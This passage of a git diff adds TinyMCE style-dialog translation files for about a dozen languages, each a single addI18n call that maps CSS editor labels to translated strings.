pic","list_type":"Tipus",color:"Color",height:"Al\u00e7ada",width:"Amplada",style:"Estil",margin:"Marge",left:"Esquerra",bottom:"Avall",right:"Dreta",top:"Dalt",same:"Igual per a tot",padding:"Separaci\u00f3","box_clear":"Buida","box_float":"Flota","box_height":"Al\u00e7ada","box_width":"Amplada","block_display":"Visualitzaci\u00f3","block_whitespace":"Espai en blanc","block_text_indent":"Sagna el text","block_text_align":"Alinea el text","block_vertical_alignment":"Alineaci\u00f3 vertical","block_letterspacing":"Espaiat entre lletres","block_wordspacing":"Espaiat entre paraules","background_vpos":"Posici\u00f3 vertical","background_hpos":"Posici\u00f3 horitzontal","background_attachment":"Adjunt","background_repeat":"Repeteix","background_image":"Imatge de fons","background_color":"Color de fons","text_none":"cap","text_blink":"parpelleig","text_case":"Cas","text_striketrough":"barrat","text_underline":"subratllat","text_overline":"sobreratllat","text_decoration":"Decoraci\u00f3","text_color":"Color",text:"Text",background:"Fons",block:"Bloc",box:"Caixa",border:"Contorn",list:"Llista"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/cs_dlg.js b/js/tiny_mce/plugins/style/langs/cs_dlg.js new file mode 100755 index 0000000..8e6dc60 --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/cs_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('cs.style_dlg',{"text_lineheight":"V\u00fd\u0161ka \u0159\u00e1dku","text_variant":"Varianta","text_style":"Styl textu","text_weight":"Tu\u010dnost p\u00edsma","text_size":"Velikost","text_font":"P\u00edsmo","text_props":"Text","positioning_tab":"Um\u00edst\u011bn\u00ed","list_tab":"Seznam","border_tab":"Ohrani\u010den\u00ed","box_tab":"Box","block_tab":"Blok","background_tab":"Pozad\u00ed","text_tab":"Text",apply:"Pou\u017e\u00edt",title:"Upravit CSS styl",clip:"O\u0159ez\u00e1n\u00ed (clip)",placement:"Um\u00edst\u011bni",overflow:"P\u0159ete\u010den\u00ed (overflow)",zindex:"Z-index",visibility:"Viditelnost","positioning_type":"Typ",position:"Um\u00edst\u011bn\u00ed","bullet_image":"Styl odr\u00e1\u017eek","list_type":"Typ",color:"Barva",height:"V\u00fd\u0161ka",width:"\u0160\u00ed\u0159ka",style:"Styl",margin:"Okraje (margin)",left:"Vlevo",bottom:"Dole",right:"Vpravo",top:"Naho\u0159e",same:"Stejn\u00e9 pro v\u0161echny",padding:"Odsazen\u00ed (padding)","box_clear":"Vy\u010distit","box_float":"Plovouc\u00ed","box_height":"V\u00fd\u0161ka","box_width":"\u0160\u00ed\u0159ka","block_display":"Blokov\u00e9 zobrazen\u00ed","block_whitespace":"Zalamov\u00e1n\u00ed textu","block_text_indent":"Odsazen\u00ed textu","block_text_align":"Zarovn\u00e1n\u00ed textu","block_vertical_alignment":"Vertik\u00e1ln\u00ed zarovn\u00e1n\u00ed","block_letterspacing":"Rozestup znak\u016f","block_wordspacing":"Rozestup slov","background_vpos":"Vertik\u00e1ln\u00ed um\u00edst\u011bn\u00ed","background_hpos":"Horizont\u00e1ln\u00ed um\u00edst\u011bn\u00ed","background_attachment":"Rolov\u00e1n\u00ed","background_repeat":"Opakov\u00e1n\u00ed","background_image":"Obr\u00e1zek pozad\u00ed","background_color":"Barva pozad\u00ed","text_none":"\u017d\u00e1dn\u00e1","text_blink":"Blik\u00e1n\u00ed","text_case":"Velk\u00e1 p\u00edsmena","text_striketrough":"P\u0159e\u0161krtnut\u00ed","text_underline":"Podtr\u017een\u00ed","text_overline":"Nadtr\u017een\u00ed","text_decoration":"Dekorace","text_color":"Barva",text:"Text",background:"Pozad\u00ed",block:"Blok",box:"Box",border:"Okraj",list:"Seznam"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/da_dlg.js b/js/tiny_mce/plugins/style/langs/da_dlg.js new file mode 100755 index 0000000..733249f --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/da_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('da.style_dlg',{"text_lineheight":"Linieh\u00f8jde","text_variant":"Variant","text_style":"Stil","text_weight":"V\u00e6gt","text_size":"St\u00f8rrelse","text_font":"Skrifttype","text_props":"Tekst","positioning_tab":"Positionering","list_tab":"Liste","border_tab":"Kant","box_tab":"Boks","block_tab":"Blok","background_tab":"Baggrund","text_tab":"Tekst",apply:"Anvend",title:"Rediger CSS stil",clip:"Klip",placement:"Placering",overflow:"Overl\u00f8b",zindex:"Z-index",visibility:"Synlighed","positioning_type":"Type",position:"Position","bullet_image":"Punktopstillings-billede","list_type":"Type",color:"Farve",height:"H\u00f8jde",width:"Bredde",style:"Style",margin:"Margin",left:"Venstre",bottom:"Bund",right:"H\u00f8jre",top:"Top",same:"Ens for alle",padding:"Afstand til indhold","box_clear":"Ryd","box_float":"Flydende","box_height":"H\u00f8jde","box_width":"Bredde","block_display":"Vis","block_whitespace":"Mellemrum","block_text_indent":"Tekstindrykning","block_text_align":"Tekstjustering","block_vertical_alignment":"Vertikal justering","block_letterspacing":"Afstand mellem bogstaver","block_wordspacing":"Afstand mellem ord","background_vpos":"Vertikal position","background_hpos":"Horisontal position","background_attachment":"Vedh\u00e6ftede fil","background_repeat":"Gentag","background_image":"Baggrundsbillede","background_color":"Baggrundsfarve","text_none":"ingen","text_blink":"blink","text_case":"Vesaltilstand","text_striketrough":"gennemstreget","text_underline":"understreget","text_overline":"overstreget","text_decoration":"Dekoration","text_color":"Farve",text:"Tekst",background:"Baggrund",block:"Blok",box:"Boks",border:"Kant",list:"Liste"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/de_dlg.js b/js/tiny_mce/plugins/style/langs/de_dlg.js new file mode 100755 index 0000000..ad04664 --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/de_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('de.style_dlg',{"text_lineheight":"Zeilenh\u00f6he","text_variant":"Variante","text_style":"Stil","text_weight":"Dicke","text_size":"Gr\u00f6\u00dfe","text_font":"Schriftart","text_props":"Text","positioning_tab":"Positionierung","list_tab":"Liste","border_tab":"Rahmen","box_tab":"Box","block_tab":"Block","background_tab":"Hintergrund","text_tab":"Text",apply:"\u00dcbernehmen",title:"CSS-Styles bearbeiten",clip:"Ausschnitt",placement:"Platzierung",overflow:"Verhalten bei \u00dcbergr\u00f6\u00dfe",zindex:"Z-Wert",visibility:"Sichtbar","positioning_type":"Art der Positionierung",position:"Positionierung","bullet_image":"Listenpunkt-Grafik","list_type":"Listenpunkt-Art",color:"Textfarbe",height:"H\u00f6he",width:"Breite",style:"Format",margin:"\u00c4u\u00dferer Abstand",left:"Links",bottom:"Unten",right:"Rechts",top:"Oben",same:"Alle gleich",padding:"Innerer Abstand","box_clear":"Umflie\u00dfung verhindern","box_float":"Umflie\u00dfung","box_height":"H\u00f6he","box_width":"Breite","block_display":"Umbruchverhalten","block_whitespace":"Automatischer Umbruch","block_text_indent":"Einr\u00fcckung","block_text_align":"Ausrichtung","block_vertical_alignment":"Vertikale Ausrichtung","block_letterspacing":"Buchstabenabstand","block_wordspacing":"Wortabstand","background_vpos":"Position Y","background_hpos":"Position X","background_attachment":"Wasserzeicheneffekt","background_repeat":"Wiederholung","background_image":"Hintergrundbild","background_color":"Hintergrundfarbe","text_none":"keine","text_blink":"blinkend","text_case":"Schreibung","text_striketrough":"durchgestrichen","text_underline":"unterstrichen","text_overline":"\u00fcberstrichen","text_decoration":"Gestaltung","text_color":"Farbe",text:"Text",background:"Hintergrund",block:"Block",box:"Box",border:"Rahmen",list:"Liste"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/el_dlg.js b/js/tiny_mce/plugins/style/langs/el_dlg.js new file mode 100755 index 0000000..9da2d86 --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/el_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('el.style_dlg',{"text_lineheight":"\u038e\u03c8\u03bf\u03c2 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2","text_variant":"\u03a0\u03b1\u03c1\u03b1\u03bb\u03bb\u03b1\u03b3\u03ae","text_style":"\u03a3\u03c4\u03c5\u03bb","text_weight":"\u0392\u03ac\u03c1\u03bf\u03c2","text_size":"\u039c\u03ad\u03b3\u03b5\u03b8\u03bf\u03c2 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ac\u03c4\u03c9\u03bd","text_font":"\u0393\u03c1\u03b1\u03bc\u03bc\u03b1\u03c4\u03bf\u03c3\u03b5\u03b9\u03c1\u03ac","text_props":"\u039a\u03b5\u03af\u03bc\u03b5\u03bd\u03bf","positioning_tab":"\u03a4\u03bf\u03c0\u03bf\u03b8\u03ad\u03c4\u03b7\u03c3\u03b7","list_tab":"\u039b\u03af\u03c3\u03c4\u03b1","border_tab":"\u03a0\u03bb\u03b1\u03af\u03c3\u03b9\u03bf","box_tab":"\u039a\u03bf\u03c5\u03c4\u03af","block_tab":"\u039c\u03c0\u03bb\u03bf\u03ba","background_tab":"\u03a6\u03cc\u03bd\u03c4\u03bf","text_tab":"\u039a\u03b5\u03af\u03bc\u03b5\u03bd\u03bf",apply:"\u0395\u03c6\u03b1\u03c1\u03bc\u03bf\u03b3\u03ae",title:"\u0395\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03a3\u03c4\u03c5\u03bb CSS",clip:"Clip",placement:"\u03a4\u03bf\u03c0\u03bf\u03b8\u03ad\u03c4\u03b7\u03c3\u03b7",overflow:"\u03a5\u03c0\u03b5\u03c1\u03c7\u03b5\u03af\u03bb\u03b9\u03c3\u03b7",zindex:"Z-index",visibility:"\u039f\u03c1\u03b1\u03c4\u03cc\u03c4\u03b7\u03c4\u03b1","positioning_type":"\u03a4\u03cd\u03c0\u03bf\u03c2",position:"\u0398\u03ad\u03c3\u03b7","bullet_image":"\u0395\u03b9\u03ba\u03cc\u03bd\u03b1 \u03c4\u03b5\u03bb\u03b5\u03af\u03b1\u03c2","list_type":"\u03a4\u03cd\u03c0\u03bf\u03c2",color:"\u03a7\u03c1\u03ce\u03bc\u03b1",height:"\u038e\u03c8\u03bf\u03c2",width:"\u03a0\u03bb\u03ac\u03c4\u03bf\u03c2",style:"\u03a3\u03c4\u03c5\u03bb",margin:"\u03a0\u03b5\u03c1\u03b9\u03b8\u03ce\u03c1\u03b9\u03bf",left:"\u0391\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac",bottom:"\u039a\u03ac\u03c4\u03c9",right:"\u0394\u03b5\u03be\u03b9\u03ac",top:"\u03a0\u03ac\u03bd\u03c9",same:"\u038a\u03b4\u03b9\u03bf \u03b3\u03b9\u03b1 \u03cc\u03bb\u03b1",padding:"\u0393\u03ad\u03bc\u03b9\u03c3\u03bc\u03b1","box_clear":"Clear","box_float":"Float","box_height":"\u038e\u03c8\u03bf\u03c2","box_width":"\u03a0\u03bb\u03ac\u03c4\u03bf\u03c2","block_display":"\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7","block_whitespace":"\u039a\u03b5\u03bd\u03cc\u03c2 \u03c7\u03ce\u03c1\u03bf\u03c2","block_text_indent":"\u0395\u03c3\u03bf\u03c7\u03ae \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5","block_text_align":"\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7 \u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5","block_vertical_alignment":"\u039a\u03b1\u03c4\u03b1\u03ba\u03cc\u03c1\u03c5\u03c6\u03b7 \u03c3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7","block_letterspacing":"\u0391\u03c0\u03cc\u03c3\u03c4\u03b1\u03c3\u03b7 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03c9\u03bd","block_wordspacing":"\u0391\u03c0\u03cc\u03c3\u03c4\u03b1\u03c3\u03b7 \u03bb\u03ad\u03be\u03b5\u03c9\u03bd","background_vpos":"\u039a\u03b1\u03c4\u03b1\u03ba\u03cc\u03c1\u03c5\u03c6\u03b7 \u03b8\u03ad\u03c3\u03b7","background_hpos":"\u039f\u03c1\u03b9\u03b6\u03cc\u03bd\u03c4\u03b9\u03b1 \u03b8\u03ad\u03c3\u03b7","background_attachment":"\u03a0\u03c1\u03bf\u03c3\u03ac\u03c1\u03c4\u03b7\u03bc\u03b1","background_repeat":"\u0395\u03c0\u03b1\u03bd\u03ac\u03bb\u03b7\u03c8\u03b7","background_image":"\u0395\u03b9\u03ba\u03cc\u03bd\u03b1 \u03c6\u03cc\u03bd\u03c4\u03bf\u03c5","background_color":"\u03a7\u03c1\u03ce\u03bc\u03b1 \u03c6\u03cc\u03bd\u03c4\u03bf\u03c5","text_none":"\u039a\u03b1\u03bc\u03af\u03b1","text_blink":"\u039d\u03b1 \u03b1\u03bd\u03b1\u03b2\u03bf\u03c3\u03b2\u03ae\u03bd\u03b5\u03b9","text_case":"\u039a\u03b5\u03c6./\u039c\u03b9\u03ba\u03c1\u03ac","text_striketrough":"\u0394\u03b9\u03b1\u03b3\u03c1\u03ac\u03bc\u03bc\u03b9\u03c3\u03b7","text_underline":"\u03a5\u03c0\u03bf\u03b3\u03c1\u03ac\u03bc\u03bc\u03b9\u03c3\u03b7","text_overline":"\u03a5\u03c0\u03b5\u03c1\u03b3\u03c1\u03ac\u03bc\u03bc\u03b9\u03c3\u03b7","text_decoration":"\u0394\u03b9\u03b1\u03ba\u03cc\u03c3\u03bc\u03b7\u03c3\u03b7","text_color":"\u03a7\u03c1\u03ce\u03bc\u03b1",text:"Text",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/en_dlg.js b/js/tiny_mce/plugins/style/langs/en_dlg.js new file mode 100755 index 0000000..9a1d4a2 --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/en_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('en.style_dlg',{"text_lineheight":"Line Height","text_variant":"Variant","text_style":"Style","text_weight":"Weight","text_size":"Size","text_font":"Font","text_props":"Text","positioning_tab":"Positioning","list_tab":"List","border_tab":"Border","box_tab":"Box","block_tab":"Block","background_tab":"Background","text_tab":"Text",apply:"Apply",title:"Edit CSS Style",clip:"Clip",placement:"Placement",overflow:"Overflow",zindex:"Z-index",visibility:"Visibility","positioning_type":"Type",position:"Position","bullet_image":"Bullet Image","list_type":"Type",color:"Color",height:"Height",width:"Width",style:"Style",margin:"Margin",left:"Left",bottom:"Bottom",right:"Right",top:"Top",same:"Same for All",padding:"Padding","box_clear":"Clear","box_float":"Float","box_height":"Height","box_width":"Width","block_display":"Display","block_whitespace":"Whitespace","block_text_indent":"Text Indent","block_text_align":"Text Align","block_vertical_alignment":"Vertical Alignment","block_letterspacing":"Letter Spacing","block_wordspacing":"Word Spacing","background_vpos":"Vertical Position","background_hpos":"Horizontal Position","background_attachment":"Attachment","background_repeat":"Repeat","background_image":"Background Image","background_color":"Background Color","text_none":"None","text_blink":"Blink","text_case":"Case","text_striketrough":"Strikethrough","text_underline":"Underline","text_overline":"Overline","text_decoration":"Decoration","text_color":"Color",text:"Text",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/es_dlg.js b/js/tiny_mce/plugins/style/langs/es_dlg.js new file mode 100755 index 0000000..9bbaa5f --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/es_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('es.style_dlg',{"text_lineheight":"Ancho de la fila","text_variant":"Variante","text_style":"Estilo","text_weight":"Peso","text_size":"Tama\u00f1o","text_font":"Fuente","text_props":"Texto","positioning_tab":"Posici\u00f3n","list_tab":"Lista","border_tab":"Borde","box_tab":"Caja","block_tab":"Bloque","background_tab":"Fondo","text_tab":"Texto",apply:"Aplicar",title:"Editar Estilo CSS",clip:"Clip",placement:"Placement",overflow:"Overflow",zindex:"Z-index",visibility:"Visibilidad","positioning_type":"Tipo",position:"Posici\u00f3n","bullet_image":"Imagen de la vi\u00f1eta","list_type":"Tipo",color:"Color",height:"Alto",width:"Ancho",style:"Estilo",margin:"Margen",left:"Izquierda",bottom:"Debajo",right:"Derecha",top:"Arriba",same:"Lo mismo en todos",padding:"Padding","box_clear":"Clear","box_float":"Float","box_height":"Alto","box_width":"Ancho","block_display":"Display","block_whitespace":"Espacio en blanco","block_text_indent":"Sangr\u00eda","block_text_align":"Alineaci\u00f3n del texto","block_vertical_alignment":"Alineaci\u00f3n vertical","block_letterspacing":"Espacio entre letra","block_wordspacing":"Espacio entre palabra","background_vpos":"Posici\u00f3n vertical","background_hpos":"Posici\u00f3n horizontal","background_attachment":"Adjunto","background_repeat":"Repetici\u00f3n","background_image":"Imagen de fondo","background_color":"Color de fondo","text_none":"Ninguno","text_blink":"Parpadeo","text_case":"Min\u00fas./May\u00fas.","text_striketrough":"Tachado","text_underline":"Subrayado","text_overline":"Subrayado superior","text_decoration":"Decorativos","text_color":"Color",text:"Texto",background:"Fondo",block:"Bloque",box:"Caja",border:"Borde",list:"Lista"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/et_dlg.js b/js/tiny_mce/plugins/style/langs/et_dlg.js new file mode 100755 index 0000000..89de41d --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/et_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('et.style_dlg',{"text_lineheight":"Joone k\u00f5rgus","text_variant":"Variant","text_style":"Stiil","text_weight":"Raskus","text_size":"Suurus","text_font":"Font","text_props":"Tekst","positioning_tab":"Positsioneerimine","list_tab":"Nimekiri","border_tab":"Raam","box_tab":"Kast","block_tab":"Plokk","background_tab":"Taust","text_tab":"Tekst",apply:"Rakenda",title:"Muuda CSS stiili",clip:"Klipp",placement:"Asetus",overflow:"\u00dclevool",zindex:"Z-viit",visibility:"N\u00e4htavus","positioning_type":"T\u00fc\u00fcp",position:"Positsioon","bullet_image":"Punkt pilt","list_type":"T\u00fc\u00fcp",color:"V\u00e4rv",height:"K\u00f5rgus",width:"Laius",style:"Stiil",margin:"Serv",left:"Vasakul",bottom:"All",right:"Paremal",top:"\u00dcleval",same:"Sama k\u00f5igile",padding:"T\u00e4idis","box_clear":"Puhas","box_float":"H\u00f5ljuv","box_height":"K\u00f5rgus","box_width":"Laius","block_display":"Kuva","block_whitespace":"T\u00fchimik","block_text_indent":"Teksti taandus","block_text_align":"Teksti joondus","block_vertical_alignment":"Vertikaalne joondus","block_letterspacing":"T\u00e4he avardamine","block_wordspacing":"S\u00f5nade avardamine","background_vpos":"Vertikaalne asend","background_hpos":"Horisontaalne asend","background_attachment":"Manus","background_repeat":"Kordus","background_image":"Tausta pilt","background_color":"Tausta v\u00e4rv","text_none":"mitte \u00fckski","text_blink":"vilgutus","text_case":"Kast","text_striketrough":"l\u00e4bikriipsutus","text_underline":"alajoon","text_overline":"\u00fclejoon","text_decoration":"Dekoratioon","text_color":"V\u00e4rv",text:"Tekst",background:"Taust",block:"Plokk",box:"Kast",border:"Joon",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/fa_dlg.js b/js/tiny_mce/plugins/style/langs/fa_dlg.js new file mode 100755 index 0000000..e156a14 --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/fa_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fa.style_dlg',{"text_lineheight":"\u0628\u0644\u0646\u062f\u06cc \u062e\u0637","text_variant":"\u0646\u0648\u0639 \u062a\u063a\u06cc\u06cc\u0631","text_style":"\u0627\u0633\u062a\u06cc\u0644","text_weight":"\u062d\u0627\u0644\u062a","text_size":"\u0627\u0646\u062f\u0627\u0632\u0647","text_font":"\u0642\u0644\u0645","text_props":"\u0645\u062a\u0646","positioning_tab":"\u0645\u0648\u0642\u0639\u06cc\u062a","list_tab":"\u0644\u06cc\u0633\u062a","border_tab":"\u062d\u0627\u0634\u06cc\u0647","box_tab":"\u062c\u0639\u0628\u0647","block_tab":"\u0628\u0644\u0648\u06a9","background_tab":"\u0632\u0645\u06cc\u0646\u0647","text_tab":"\u0645\u062a\u0646",apply:"\u0628\u06a9\u0627\u0631\u06af\u06cc\u0631\u06cc",title:"\u0648\u06cc\u0631\u0627\u06cc\u0634 \u0627\u0633\u062a\u06cc\u0644 CSS",clip:"\u0628\u0631\u0634 (Clip)",placement:"\u0645\u0648\u0642\u0639\u06cc\u062a \u0645\u06a9\u0627\u0646\u06cc",overflow:"\u0633\u0631 \u0631\u06cc\u0632",zindex:"\u0645\u062d\u0648\u0631 Z",visibility:"\u0642\u0627\u0628\u0644\u06cc\u062a \u0631\u0648\u06cc\u062a","positioning_type":"\u0646\u0648\u0639",position:"\u0645\u0648\u0642\u0639\u06cc\u062a","bullet_image":"\u062a\u0635\u0648\u06cc\u0631 \u06af\u0644\u0648\u0644\u0647","list_type":"\u0646\u0648\u0639",color:"\u0631\u0646\u06af",height:"\u0627\u0631\u062a\u0641\u0627\u0639",width:"\u067e\u0647\u0646\u0627",style:"\u0627\u0633\u062a\u06cc\u0644",margin:"\u062d\u0627\u0634\u06cc\u0647",left:"\u0686\u067e",bottom:"\u067e\u0627\u06cc\u06cc\u0646",right:"\u0631\u0627\u0633\u062a",top:"\u0628\u0627\u0644\u0627",same:"\u0647\u0645\u0633\u0627\u0646 \u0628\u0631\u0627\u06cc \u0647\u0645\u0647",padding:"\u0644\u0627\u06cc\u0647 \u06af\u0630\u0627\u0631\u06cc","box_clear":"\u067e\u0627\u06a9 \u0633\u0627\u0632\u06cc","box_float":"\u0634\u0646\u0627\u0648\u0631","box_height":"\u0627\u0631\u062a\u0641\u0627\u0639","box_width":"\u067e\u0647\u0646\u0627","block_display":"\u0646\u0645\u0627\u06cc\u0634","block_whitespace":"\u0641\u0627\u0635\u0644\u0647 \u0633\u0641\u06cc\u062f","block_text_indent":"\u062a\u0648\u0631\u0641\u062a\u06af\u06cc \u0645\u062a\u0646","block_text_align":"\u062a\u0631\u0627\u0632 \u0645\u062a\u0646","block_vertical_alignment":"\u062a\u0631\u0627\u0632 \u0639\u0645\u0648\u062f\u06cc","block_letterspacing":"\u0641\u0627\u0635\u0644\u0647 \u062d\u0631\u0648\u0641","block_wordspacing":"\u0641\u0627\u0635\u0644\u0647 \u06a9\u0644\u0645\u0627\u062a","background_vpos":"\u0645\u0648\u0642\u0639\u06cc\u062a \u0639\u0645\u0648\u062f\u06cc","background_hpos":"\u0645\u0648\u0642\u0639\u06cc\u062a \u0627\u0641\u0642\u06cc","background_attachment":"\u0632\u0645\u06cc\u0645\u0647","background_repeat":"\u062a\u06a9\u0631\u0627\u0631","background_image":"\u062a\u0635\u0648\u06cc\u0631 \u0632\u0645\u06cc\u0646\u0647","background_color":"\u0631\u0646\u06af \u0632\u0645\u06cc\u0646\u0647","text_none":"\u0647\u06cc\u0686 \u06a9\u062f\u0627\u0645","text_blink":"\u0686\u0634\u0645\u06a9 \u0632\u0646","text_case":"\u062d\u0627\u0644\u062a","text_striketrough":"\u062e\u0637 \u0648\u0633\u0637","text_underline":"\u0632\u06cc\u0631 \u062e\u0637","text_overline":"\u0628\u0627\u0644\u0627 \u062e\u0637","text_decoration":"\u0622\u0631\u0627\u06cc\u0634","text_color":"\u0631\u0646\u06af",text:"Text",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/fi_dlg.js b/js/tiny_mce/plugins/style/langs/fi_dlg.js new file mode 100755 index 0000000..4f174cc --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/fi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fi.style_dlg',{"text_lineheight":"Rivin korkeus","text_variant":"Variantti","text_style":"Tyyli","text_weight":"Paino","text_size":"Koko","text_font":"Kirjasin","text_props":"Teksti","positioning_tab":"Sijainti","list_tab":"Lista","border_tab":"Kehys","box_tab":"Laatikko","block_tab":"Palkki","background_tab":"Tausta","text_tab":"Teksti",apply:"K\u00e4yt\u00e4",title:"Muokkaa CSS-tyyli\u00e4",clip:"Leike",placement:"Sijoittelu",overflow:"Ylivuoto",zindex:"Z-indeksi",visibility:"N\u00e4kyvyys","positioning_type":"Tyyppi",position:"Sijainti","bullet_image":"Listauskuva","list_type":"Tyyppi",color:"V\u00e4ri",height:"Korkeus",width:"Leveys",style:"Tyyli",margin:"Marginaali",left:"Vasemmalla",bottom:"Alhaalla",right:"Oikealla",top:"Ylh\u00e4\u00e4ll\u00e4",same:"Sama kaikille",padding:"Tyhj\u00e4 tila","box_clear":"Nollaus","box_float":"Kellunta","box_height":"Korkeus","box_width":"Leveys","block_display":"N\u00e4ytt\u00f6","block_whitespace":"Tyhj\u00e4 tila","block_text_indent":"Tekstin sisennys","block_text_align":"Tekstin asettelu","block_vertical_alignment":"Pystyasettelu","block_letterspacing":"Kirjainten v\u00e4listys","block_wordspacing":"Sanojen v\u00e4listys","background_vpos":"Pystyasettelu","background_hpos":"Vaaka-asettelu","background_attachment":"Liite","background_repeat":"Toistuvuus","background_image":"Taustakuva","background_color":"Taustav\u00e4ri","text_none":"ei mit\u00e4\u00e4n","text_blink":"V\u00e4l\u00e4hdys","text_case":"Isot/pienet kirjaimet","text_striketrough":"Yliviivattu","text_underline":"Alleviivattu (Ctrl+U)","text_overline":"Yliviivattu","text_decoration":"Koristelu","text_color":"V\u00e4ri",text:"Teksti",background:"Tausta",block:"Lohko",box:"Laatikko",border:"Reunus",list:"Lista"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/fr_dlg.js b/js/tiny_mce/plugins/style/langs/fr_dlg.js new file mode 100755 index 0000000..3f7bdb9 --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/fr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fr.style_dlg',{"text_lineheight":"Hauteur de ligne","text_variant":"Variante","text_style":"Style","text_weight":"Gras","text_size":"Taille","text_font":"Police","text_props":"Texte","positioning_tab":"Positionnement","list_tab":"Liste","border_tab":"Bordure","box_tab":"Bo\u00eete","block_tab":"Bloc","background_tab":"Fond","text_tab":"Texte",apply:"Appliquer",title:"\u00c9diter la feuille de style",clip:"Clip",placement:"Placement",overflow:"D\u00e9bordement",zindex:"Z-index",visibility:"Visibilit\u00e9","positioning_type":"Type",position:"Position","bullet_image":"Image de puce","list_type":"Type",color:"Couleur",height:"Hauteur",width:"Largeur",style:"Style",margin:"Marge",left:"Gauche",bottom:"Bas",right:"Droit",top:"Haut",same:"Identique pour tous",padding:"Espacement","box_clear":"Vider","box_float":"Flottant","box_height":"Hauteur","box_width":"Largeur","block_display":"Affichage","block_whitespace":"Fin de ligne","block_text_indent":"Indentation du texte","block_text_align":"Alignement du texte","block_vertical_alignment":"Alignement vertical","block_letterspacing":"Espacement des lettres","block_wordspacing":"Espacement des mots ","background_vpos":"Position verticale","background_hpos":"Position horizontale","background_attachment":"Attachement","background_repeat":"R\u00e9p\u00e9ter","background_image":"Image de fond","background_color":"Couleur de fond","text_none":"aucun","text_blink":"clignotant","text_case":"Casse","text_striketrough":"barr\u00e9","text_underline":"soulign\u00e9","text_overline":"ligne au-dessus","text_decoration":"D\u00e9coration","text_color":"Couleur",text:"Texte",background:"Fond",block:"Bloc",box:"Bo\u00eete",border:"Bordure",list:"Liste"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/gl_dlg.js b/js/tiny_mce/plugins/style/langs/gl_dlg.js new file mode 100755 index 0000000..e5d85d2 --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/gl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.style_dlg',{"text_lineheight":"Ancho da fila","text_variant":"Variante","text_style":"Estilo","text_weight":"Peso","text_size":"Tama\u00f1o","text_font":"Fonte","text_props":"Texto","positioning_tab":"Posici\u00f3n","list_tab":"Lista","border_tab":"Borde","box_tab":"Caixa","block_tab":"Bloque","background_tab":"Fondo","text_tab":"Texto",apply:"Aplicar",title:"Editar Estilo CSS",clip:"Clip",placement:"Colocaci\u00f3n",overflow:"Desbodramento",zindex:"\u00cdndize Z",visibility:"Visibilidade","positioning_type":"Tipo",position:"Posici\u00f3n","bullet_image":"Imaxe da vi\u00f1eta","list_type":"Tipo",color:"Cor",height:"Alto",width:"Ancho",style:"Estilo",margin:"Marxe",left:"Esquerda",bottom:"Abaixo",right:"Dereita",top:"Arriba",same:"O mesmo en todos",padding:"Recheo","box_clear":"Limpar","box_float":"Float","box_height":"Alto","box_width":"Ancho","block_display":"Display","block_whitespace":"Espacio en branco","block_text_indent":"Sangr\u00eda","block_text_align":"Ali\u00f1aci\u00f3n do texto","block_vertical_alignment":"Ali\u00f1aci\u00f3n vertical","block_letterspacing":"Espacio entre letras","block_wordspacing":"Espacio entre verbas","background_vpos":"Posici\u00f3n vertical","background_hpos":"Posici\u00f3n horizontal","background_attachment":"Adxunto","background_repeat":"Repetir","background_image":"Imaxe de fondo","background_color":"Cor de fondo","text_none":"Neng\u00fan","text_blink":"Parpadeo","text_case":"Min\u00fas./May\u00fas.","text_striketrough":"Tachado","text_underline":"Suli\u00f1ado","text_overline":"Li\u00f1a superior","text_decoration":"Decorativos","text_color":"Cor",text:"Text",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/langs/he_dlg.js b/js/tiny_mce/plugins/style/langs/he_dlg.js new file mode 100755 index 0000000..22680ba --- /dev/null +++ b/js/tiny_mce/plugins/style/langs/he_dlg.js @@ -0,0 +1 @@ 